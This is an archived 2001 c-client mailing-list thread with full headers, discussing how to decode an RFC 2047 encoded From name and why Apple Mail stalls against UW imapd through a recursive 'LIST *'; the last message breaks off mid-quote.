f7INEAT15647 for ; Sat, 18 Aug 2001 16:14:11 -0700 Received: FROM mango.telerian.net BY mxu2.u.washington.edu ; Sat Aug 18 16:14:09 2001 -0700 Received: from tunbury (host213-122-191-33.btinternet.com [213.122.191.33]) by mango.telerian.net (8.11.4/8.10.1) with SMTP id f7INDww10357 for ; Sun, 19 Aug 2001 00:13:59 +0100 (BST) Message-Id: <003a01c1283b$70079090$21bf7ad5@demon.co.uk> Date: Sun, 19 Aug 2001 00:13:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: Interpretation of the From field References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm looking for some advice on the correct way to handle a From name which c-client reports as: "=?iso-8859-1?q?matthew=20walker?=" Looking at the source of the message it says: From: =?iso-8859-1?q?matthew=20walker?= I can of course just do a strncmp() for incoming From names which start in this way, but it would be nice to do the "correct thing". I've only seen them coming from Yahoo's web mail. Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 18 17:27:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 18 Aug 2001 17:27:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7J0Rpn30232 for ; Sat, 18 Aug 2001 17:27:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Aug 18 17:27:51 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7J0RnE29230; Sat, 18 Aug 2001 17:27:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7J0R7H14738; Sat, 18 Aug 2001 17:27:07 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7J0Q0097696 for ; Sat, 18 Aug 2001 17:26:00 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7J0PxT21073 for ; Sat, 18 Aug 2001 17:25:59 -0700 Received: FROM snipe.mail.pas.earthlink.net BY mxu2.u.washington.edu ; Sat Aug 18 17:25:59 2001 -0700 Received: from localhost (user-2ivek9h.dialup.mindspring.com [165.247.81.49]) by snipe.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id RAA10955; Sat, 18 Aug 2001 17:25:53 -0700 (PDT) Message-Id: <200108190025.RAA10955@snipe.mail.pas.earthlink.net> Date: Sat, 18 Aug 2001 20:25:53 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Zacharias To: c-client@u.washington.edu Subject: IMAP Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I tried using your imap server, imapd-4.5, imapd-200a, and even the imap-2001 beta. They all work great and have something I really need, the leave the mail in /var/spool/mail/userName. The one problem I am having is that our Mac OS X computers using Apple's Mail program do not work with this server. Apple Mail works with every other IMAP server we have tried including several ISP's and dkimap4. I can't use dkimap4 because it moves the mail out of /var/spool/mail. I did some debugging in the code, which I found very hard to follow, and found that Apple Mail gets into the mail_list() function in c- client/mail.c, is in the do loop which makes a call to another function referencd by (d-l>list). It never returns from there. I have looked at the logs and even compared the to another IMAP client and don't see anything different except the pattern passed into the above function. For Apple Mail, the log shows a login and that's all. We have also spent about 12+ hours reading documention, looking at code, and trying different things. Can you offer any suggestion how I can fix or work around this problem ? Thanks, Jeff Z -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 18 18:30:47 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 18 Aug 2001 18:30:46 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7J1Ujn13162 for ; Sat, 18 Aug 2001 18:30:45 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sat Aug 18 18:30:41 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7J1UdN31212; Sat, 18 Aug 2001 18:30:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7J1U7E32726; Sat, 18 Aug 2001 18:30:07 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7J1TF094862 for ; Sat, 18 Aug 2001 18:29:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7J1TFT26205 for ; Sat, 18 Aug 2001 18:29:15 -0700 Received: FROM mx2.cac.washington.edu BY mxu2.u.washington.edu ; Sat Aug 18 18:29:14 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mishk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7J1TBE30288 for ; Sat, 18 Aug 2001 18:29:11 -0700 Message-Id: Date: Sat, 18 Aug 2001 18:20:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeff Zacharias Cc: c-client Interest List Subject: re: IMAP Problem In-Reply-To: <200108190024.RAA24056@smtpout.mac.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am willing to bet that the Apple mail program is doing a LIST * (the equivalent of "ls -R ~"), which in a filesystem-based server such as UW will recursively list all files in your home directory. Depending upon what you have (and if if you have any symlinks that make a loop) this can take a very long time. It'll eventually stop at 20 levels of recursion, but that can be a very long time. The UW IMAP server is the reference implementation of IMAP, written by the inventor of IMAP. Programs that don't work well with UW IMAP are either not fully compliant with the IMAP specification, or do dumb things like a recursive list by default. My suggestion is to get rid of the Apple mail program and use a good IMAP client. From pinedev@shivax2.cac.washington.edu Sun Aug 19 03:29:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 03:29:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7JATEn13360 for ; Sun, 19 Aug 2001 03:29:14 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 03:29:12 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7JATAN07740; Sun, 19 Aug 2001 03:29:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JAS3E08342; Sun, 19 Aug 2001 03:28:03 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7JAQX011732 for ; Sun, 19 Aug 2001 03:26:34 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JAQXq08436 for ; Sun, 19 Aug 2001 03:26:33 -0700 Received: FROM mailstore1.netcologne.de BY mxu4.u.washington.edu ; Sun Aug 19 03:26:33 2001 -0700 Received: from [0.0.0.0] (dial-194-8-205-37.netcologne.de [194.8.205.37]) by mailstore1.netcologne.de (Mirapoint) with ESMTP id AAM49554; Sun, 19 Aug 2001 12:26:25 +0200 (CEST) Message-Id: <150991.998223441@localhost> Date: Sun, 19 Aug 2001 12:17:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Jeff Zacharias Cc: c-client@u.washington.edu Subject: Re: IMAP In-Reply-To: <200108190025.RAA10955@snipe.mail.pas.earthlink.net> References: <200108190025.RAA10955@snipe.mail.pas.earthlink.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Jeff Zacharias is rumored to have mumbled=20 on Samstag, 18. August 2001 20:25 Uhr -0400 regarding IMAP: > I tried using your imap server, imapd-4.5, imapd-200a, and even the > imap-2001 beta. They all work great and have something I really need, > the leave the mail in /var/spool/mail/userName. The one problem I am > having is that our Mac OS X computers using Apple's Mail program do not > work with this server. That's not true. I've successfully used Apple Mail with the UW-imapd 2001.=20 However, Apple Mail is braindead in that it doesn't allow you to specify=20 where to look for mailboxes. That way if you compile UW-imapd out of the=20 box, it will display the entire hierarchy under your home directory. Maybe=20 that's causing your problems? In order to get Apple Mail to work I had t change the mailbox location.=20 With the most recent beta it's simply a compile flag (check FAQ and BUILD=20 in the docs directory). Anyway, it's really not worth it because Apple Mail = sucks as an IMAP client. Check out Mulberry from Cyrusoft=20 (www.cyrusoft.com) if you're looking for a decent GUI-based IMAP mailer for = Mac OS X. But I notice that you're probably looking at this as a provider,=20 not from the client side... Cheers, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ This mail was sent using Mac OS X From pinedev@shivax2.cac.washington.edu Sun Aug 19 03:52:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 03:52:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7JAqbn07909 for ; Sun, 19 Aug 2001 03:52:37 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 03:52:36 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7JAqYE07208; Sun, 19 Aug 2001 03:52:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JApuH36850; Sun, 19 Aug 2001 03:51:56 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7JApE032310 for ; Sun, 19 Aug 2001 03:51:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JApEu28884 for ; Sun, 19 Aug 2001 03:51:14 -0700 Received: FROM oxera.wanadoo.fr BY mxu1.u.washington.edu ; Sun Aug 19 03:51:13 2001 -0700 Received: from villosa.wanadoo.fr (193.252.19.122) by oxera.wanadoo.fr; 19 Aug 2001 12:51:08 +0200 Received: from sunset (193.252.32.134) by villosa.wanadoo.fr; 19 Aug 2001 12:50:58 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 15YQAT-00007F-00 for ; Sun, 19 Aug 2001 12:50:57 +0200 Message-Id: Date: Sun, 19 Aug 2001 12:51:00 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: Interpretation of the From field In-Reply-To: <003a01c1283b$70079090$21bf7ad5@demon.co.uk> References: <003a01c1283b$70079090$21bf7ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Aug 2001 00:13:46 +0100 Mark Elvers wrote: ME> I'm looking for some advice on the correct way to handle a From name which ME> c-client reports as: ME> ME> "=?iso-8859-1?q?matthew=20walker?=" c-client has functions for decoding encoded words like this in rfc822.h. You should probably read RFC 2047 to understand how to use them. Regards, VZ From pinedev@shivax2.cac.washington.edu Sun Aug 19 04:36:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 04:36:53 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7JBaqn29934 for ; Sun, 19 Aug 2001 04:36:52 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 04:36:51 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7JBakN09352; Sun, 19 Aug 2001 04:36:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JBadp09696; Sun, 19 Aug 2001 04:36:39 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7JBa3094920 for ; Sun, 19 Aug 2001 04:36:03 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JBa3T32693 for ; Sun, 19 Aug 2001 04:36:03 -0700 Received: FROM mail.spin.ch BY mxu2.u.washington.edu ; Sun Aug 19 04:36:02 2001 -0700 Received: from spin.ch (fetty.spin.ch [212.59.185.13]) by mail.spin.ch (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id NAA19801; Sun, 19 Aug 2001 13:35:37 +0200 Message-Id: <200108191135.NAA19801@mail.spin.ch> Date: Sun, 19 Aug 2001 13:41:40 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tomas Pospisek To: Hagedorn@spinfo.uni-koeln.de Cc: c-client@u.washington.edu Subject: Re: IMAP X-URL: http://www.spin.ch/ X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You wrote: > However, Apple Mail is braindead in that it doesn't allow you to specify > where to look for mailboxes. [...] > In order to get Apple Mail to work I had t change the mailbox location. > With the most recent beta it's simply a compile flag (check FAQ and BUILD > in the docs directory). Uhm yes. In Apple Mail you have to *simply* edit the binary and change the mailpath I guess. So I'm not really sure who'd win in a braindamage contest. What I want to say is, that it would be *really* useful to be able to reconfigure uw at runtime and not requiring to recompile the thing *only* because the mail's located in a different place. This even more as there isn't such a thing as a default place for storing mail. If every unix tool in the world would be following the same philosophy a sysadmin would be spending 98% of his time recompiling apps. *t PS: Sorry for sending you a copy of the mail directly, it's what my ISP's braindead webmailer forces me to do. They probably ought to recompile it someday. From pinedev@shivax2.cac.washington.edu Sun Aug 19 04:54:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 04:54:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7JBs3n09841 for ; Sun, 19 Aug 2001 04:54:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 04:54:03 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7JBs0E08634; Sun, 19 Aug 2001 04:54:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JBrrE32618; Sun, 19 Aug 2001 04:53:53 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7JBrK094844 for ; Sun, 19 Aug 2001 04:53:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JBrKq14135 for ; Sun, 19 Aug 2001 04:53:20 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu4.u.washington.edu ; Sun Aug 19 04:53:20 2001 -0700 Message-Id: Date: Sun, 19 Aug 2001 04:43:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tomas Pospisek Cc: Hagedorn@spinfo.uni-koeln.de, c-client@u.washington.edu Subject: Re: IMAP In-Reply-To: <200108191135.NAA19801@mail.spin.ch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Aug 2001 13:41:40 +0200 (CEST), Tomas Pospisek wrote: > What I want to say is, that it would be *really* useful to be able to > reconfigure uw at runtime and not requiring to recompile the thing *only* > because the mail's located in a different place. This even more as there > isn't such a thing as a default place for storing mail. Nobody has figured out a satisfactory means to "reconfigure UW at runtime", otherwise it would have been done 10 years ago. There is no default place for storing mail, but UW imapd needs to have a default. What's more, where mail is stored is often different from user to user. There is simply no good way to configure this per-user. Remember that most IMAP users have no shell access (or knowledge), so it does not good to say "write a .xyzzyrc file". If you edit UW imapd to use a different default (e.g. a subdirectory), then you're changing it for *all* users of the system. What's more, that new global default applies even if the user doesn't have that subdirectory. That's why the distribution version of UW imapd uses the home directory, which is the closest to a reasonable default that exists, in the assumption that if it is someplace else, a user can configure the client (which *is* under his control) to look in that other place. It is not an easy problem. There is also an assumption that most programs do not do "LIST *" (the equivalent of "ls -R") unless they are certain that this is what the user really wants. Would you put "ls -R" in every user's .login or .profile file? Yet that is what Apple Mail is doing. Blame Apple Mail, which is under the user's configuration control; not UW imapd, which is not. From pinedev@shivax2.cac.washington.edu Sun Aug 19 06:18:10 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 06:18:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7JDI9n01092 for ; Sun, 19 Aug 2001 06:18:09 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 06:18:08 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7JDI6N11046; Sun, 19 Aug 2001 06:18:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JDHSX32408; Sun, 19 Aug 2001 06:17:28 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7JDGm078080 for ; Sun, 19 Aug 2001 06:16:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7JDGln20785 for ; Sun, 19 Aug 2001 06:16:47 -0700 Received: FROM mailstore1.netcologne.de BY mxu3.u.washington.edu ; Sun Aug 19 06:16:47 2001 -0700 Received: from dial-195-14-233-52.netcologne.de (dial-195-14-233-52.netcologne.de [195.14.233.52]) by mailstore1.netcologne.de (Mirapoint) with ESMTP id AAM64127; Sun, 19 Aug 2001 15:16:41 +0200 (CEST) Message-Id: <712600.998232801@localhost> Date: Sun, 19 Aug 2001 14:53:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Tomas Pospisek Cc: c-client@u.washington.edu Subject: Re: IMAP In-Reply-To: <200108191135.NAA19801@mail.spin.ch> References: <200108191135.NAA19801@mail.spin.ch> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Tomas Pospisek is rumored to have mumbled on Sonntag, 19. = August 2001 13:41 Uhr +0200 regarding Re: IMAP: >> In order to get Apple Mail to work I had t change the mailbox location. >> With the most recent beta it's simply a compile flag (check FAQ and >> BUILD in the docs directory). > > Uhm yes. In Apple Mail you have to *simply* edit the binary and change = the > mailpath I guess. So I'm not really sure who'd win in a braindamage > contest. Well, the difference is that it's much harder to edit a *binary*... Please=20 note that I've been an Apple user since 1987 and I love my Macs, so I do=20 understand about hiding the complexity from the user, but in this case it's = misguided. The UW imapd is *the* implementation of IMAP and while it=20 doesn't explicitly say so in the RFCs (I guess) it's basically common sense = to test your IMAP client against the reference implementation of the IMAP=20 server! > PS: Sorry for sending you a copy of the mail directly, it's what my > ISP's braindead webmailer forces me to do. They probably ought to > recompile it someday. Actually I always do that voluntarily as a courtesy to people who might be=20 subscribed to the digest... Cheers, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ This mail was sent using Mac OS X From pinedev@shivax2.cac.washington.edu Sun Aug 19 17:18:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Aug 2001 17:18:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7K0Ihn29552 for ; Sun, 19 Aug 2001 17:18:43 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 19 17:18:43 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7K0IdE20820; Sun, 19 Aug 2001 17:18:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7K0HVH24362; Sun, 19 Aug 2001 17:17:31 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7K0FD032426 for ; Sun, 19 Aug 2001 17:15:13 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7K0FDn08229 for ; Sun, 19 Aug 2001 17:15:13 -0700 Received: FROM swan.mail.pas.earthlink.net BY mxu3.u.washington.edu ; Sun Aug 19 17:15:13 2001 -0700 Received: from localhost (user-2ivel4s.dialup.mindspring.com [165.247.84.156]) by swan.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id RAA14423; Sun, 19 Aug 2001 17:15:07 -0700 (PDT) Message-Id: <200108200015.RAA14423@swan.mail.pas.earthlink.net> Date: Sun, 19 Aug 2001 20:13:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Zacharias To: c-client@u.washington.edu Subject: Re: IMAP - Thanks ! In-Reply-To: <712600.998232801@localhost> Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'd like to thank all of you who responded and helped me. It's pretty amazing that I posted a problem at 8:30 PM on a Saturday night and by Sunday morning I had an explanation and a solution. This allowed me to go into work today (Sonday) and fix the IMAP server to do what I needed while very few people were using the server. Thanks ! For now, I made the change so that the user's mail is stored in a subdirectoory in the user's account so that Apple Mail doesn't try to go through the whole directory. Once I did this Apple Mail works great. In my case, my home directory on the mail server is the same home directory that I do all my work on and is over 2 GB in size with a lot of files and links. We only have a few IMAP users, most don't move around and can use POP, so the subdirectory should not be a problem. We all love Apple Mail so switching to Mulberry is not an option. While Apple Mail may not be the most powerful IMAP client, we all really like the user interface and integration into Mac OS X. I'm going to request the Apple Mail not do a LIST * but I don't know enough about IMAP to know why I would want IMAP to traverse my whole home directory. I'm going to have to read up on IMAP. Jeff Z From pinedev@shivax2.cac.washington.edu Mon Aug 20 03:45:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 03:45:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KAjMn23134 for ; Mon, 20 Aug 2001 03:45:22 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 03:45:21 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KAjJE31900; Mon, 20 Aug 2001 03:45:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KAj8H39412; Mon, 20 Aug 2001 03:45:08 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KAga085906 for ; Mon, 20 Aug 2001 03:42:36 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KAgZq27565 for ; Mon, 20 Aug 2001 03:42:35 -0700 Received: FROM mango.telerian.net BY mxu4.u.washington.edu ; Mon Aug 20 03:42:34 2001 -0700 Received: from tunbury (host213-122-108-131.btinternet.com [213.122.108.131]) by mango.telerian.net (8.11.4/8.10.1) with SMTP id f7KAYdw11253; Mon, 20 Aug 2001 11:34:39 +0100 (BST) Message-Id: <004801c12963$a961e1f0$21bf7ad5@demon.co.uk> Date: Mon, 20 Aug 2001 11:34:07 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: "Vadim Zeitlin" Cc: Subject: Re: Interpretation of the From field References: <003a01c1283b$70079090$21bf7ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I can't find any functions in rfc822.[ch], but I did read RFC2047 and found a function utf8_mime2text() in utf8.c which seems to do the conversion - is this what you had in mind? Thanks --mte ----- Original Message ----- From: "Vadim Zeitlin" To: Sent: Sunday, August 19, 2001 11:51 AM Subject: Re: 